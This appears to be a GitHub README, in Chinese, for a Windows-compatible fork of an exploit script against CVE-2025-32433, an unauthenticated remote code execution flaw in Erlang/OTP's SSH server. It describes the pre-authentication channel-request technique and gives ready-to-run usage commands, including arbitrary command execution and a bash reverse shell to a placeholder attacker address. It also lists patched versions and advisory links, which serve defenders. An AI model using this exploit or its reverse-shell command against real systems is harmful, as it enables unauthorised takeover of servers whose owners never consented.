chuzouX/CVE-2025-32433-Exploit-edited
GitHub: chuzouX/CVE-2025-32433-Exploit-edited
针对 Erlang/OTP SSH 服务器 CVE-2025-32433 未授权远程代码执行漏洞的利用脚本,修复了 Windows 编码兼容性问题。
Stars: 0 | Forks: 0
# CVE-2025-32433 漏洞利用(兼容 Windows)
Erlang/OTP SSH 未授权远程代码执行
## 描述
本仓库包含针对 CVE-2025-32433 的漏洞利用代码,这是 Erlang/OTP SSH 服务器中的一个严重的未授权远程代码执行漏洞。
**主要功能:**
- ✅ 认证前 RCE 漏洞利用
- ✅ 修复了 Windows GBK 编码兼容性问题
- ✅ 适用于 Erlang/OTP 版本 ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19
## 漏洞详情
**CVE ID:** CVE-2025-32433
**严重程度:** 严重
**影响:** 未授权远程代码执行
该漏洞允许攻击者通过发送特制的 SSH 协议消息,在未经身份验证的情况下对 Erlang/OTP SSH 服务器执行任意系统命令。
## 受影响版本
```
OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 and older (likely)
```
## 用法
```
# Basic 命令执行
python exploit.py -t -p 2222 -c "whoami"
# 执行 system 命令
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"
# Raw Erlang 代码执行
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'
# Reverse shell
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
```
## 参数
```
-t, --target Target IP address (default: 127.0.0.1)
-p, --port Target port (default: 2222)
-c, --command System command to execute
-e, --erlang Raw Erlang code to execute
```
## Windows 编码修复
此版本修复了原始漏洞利用程序中存在的编码问题:
**问题:** 原始漏洞利用程序使用了 Unicode 对号字符 (✓, U+2713),这在 Windows 上会导致 GBK 编码错误:
```
'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence
```
**解决方案:** 将 Unicode 字符替换为标准的 ASCII `+` 字符,以实现跨平台兼容性。
## 技术细节
漏洞利用的工作原理如下:
1. 建立 SSH 连接并进行 banner 交换
2. 发送 SSH_MSG_KEXINIT 数据包
3. 使用 SSH_MSG_CHANNEL_OPEN 打开 SSH 通道
4. **在身份验证之前**发送带有恶意 exec 命令的 SSH_MSG_CHANNEL_REQUEST
5. 通过 `os:cmd()` 执行任意 Erlang 代码
## 参考资源
- [GitHub 安全公告](https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2)
- [Erlang/OTP 提交修复](https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f)
- [RFC 4254 - SSH 连接协议](https://datatracker.ietf.org/doc/html/rfc4254)
- [ProDefense CVE-2025-32433](https://github.com/ProDefense/CVE-2025-32433)
## 已修复版本
- OTP 27.3.3
- OTP 26.2.5.11
- OTP 25.3.2.20
## 免责声明
此漏洞利用程序仅供教育和授权的安全测试目的使用。未经授权访问计算机系统是违法行为。请负责任地使用,并且仅在获得明确许可的系统上进行测试。
## 许可证
MIT 许可证
## 作者
由 chuzouX 修改以兼容 Windows
标签:Erlang, Python, SSH协议, 威胁模拟, 无后门, 编程工具, 远程代码执行, 逆向工具